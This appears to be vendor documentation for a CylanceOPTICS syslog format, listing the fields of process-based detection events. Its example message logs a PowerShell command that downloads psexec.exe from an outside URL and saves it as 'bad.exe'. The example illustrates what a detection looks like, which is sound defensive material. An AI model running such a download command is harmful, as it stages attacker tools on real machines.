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process-based detection events

These events occur when a detection event that includes a target process artifact is triggered. Note that some fields will include command line values that can include commas and colons.
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recommends that you review and test the parsing of these values by your SIEM or syslog server.
Field
Value
Description
Description
[varies]
This is the name of the detection rule that was triggered.
Detection Rule Id
[varies]
This is the unique detection rule ID.
Device Id
[varies]
This is the unique ID of the device.
Device Last Reported Users
[varies]
These are the last reported device users.
Device Name
[varies]
This is the name of the device that the detection event occurred on.
Event Id
[varies]
This is the unique ID of the detection event.
Event Name
OpticsCaeProcessEvent
This is the detection event involved a target process.
Event Received Timestamp
[varies]
This is the timestamp of when the event was received by
CylanceOPTICS
.
Event Timestamp
[varies]
This is the timestamp of the event that occurred on the device.
Event Type
OpticsCaeProcessEvent
This is the detection event involved in a target process.
Instigating Process Command Line
[varies]
This is the command line that was used to start the instigating process.
Instigating Process File Path
[varies]
This is the file path of the instigating process executable.
Instigating Process ImageFileSha256
[varies]
This is the SHA256 hash of the process that instigated the action.
Instigating Process Name
[varies]
This is the process that instigated the action.
Instigating Process Owner
[varies]
This is the user that owns the process that instigated the action.
Severity
[varies]
This is the severity of the event:
  • High: A malicious event that requires immediate attention
  • Medium: A suspicious event that should be reviewed
  • Low: An important event that may not be malicious
  • Info: An observed event
Target Process Command Line
[varies]
This is the command line that was used to start the process of interest for the process event.
Target Process File Path
[varies]
This is the path of the target process executable.
Target Process ImageFileSha256
[varies]
This is the SHA256 hash of the process that was started or terminated.
Target Process Name
[varies]
This is the name of the process that was started or terminated.
Target Process Owner
[varies]
This is the user who owns the process that was started or terminated.
Zone Ids
[varies]
This is a list of zone IDs that the device belonged to at the time of the event.
Zone Names
[varies]
These are the zones that the device belongs to.

Example message for process-based detection events

Event Type: OpticsCaeProcessEvent, Event Name: OpticsCaeProcessEvent, Device Name: SECURITYSERVER2, Zone Names: (Jeff Test), Event Id: dbe47fda-f37b-42cc-a308-9675feb7e36a, Severity: High, Description: Jeffs Take 2 Powershell Download, Instigating Process Name: cmd.exe, Instigating Process Owner: PENTEST//Administrator, Instigating Process ImageFileSha256: 935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2, Event Timestamp: 2022-06-23T12:54:15.811Z, Event Received Timestamp: 2022-06-23T12:54:41Z, Device Last Reported Users: (PENTEST\Administrator), Zone Ids: (39BFDA7FEF71490584AAB4F163142350), Detection Rule Id: 3f110342-88f8-11ec-a8a3-0242ac120002, Instigating Process Command Line: "C:\Windows\system32\cmd.exe" , Instigating Process File Path: c:\windows\system32\cmd.exe, Target Process Name: powershell.exe, Target Process Owner: PENTEST//Administrator, Target Process ImageFileSha256: BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436, Device Id: 3514593e-7405-4319-8ca5-8ec876bf0195, Target Process Command Line: powershell -command "(new-object SYstem.Net.WebClient).DownloadFile('https://zaphod.cnerds.net/infection/psexec.exe', 'C:\dver\bad.exe')", Target Process File Path: c:\windows\system32\windowspowershell\v1.0\powershell.exe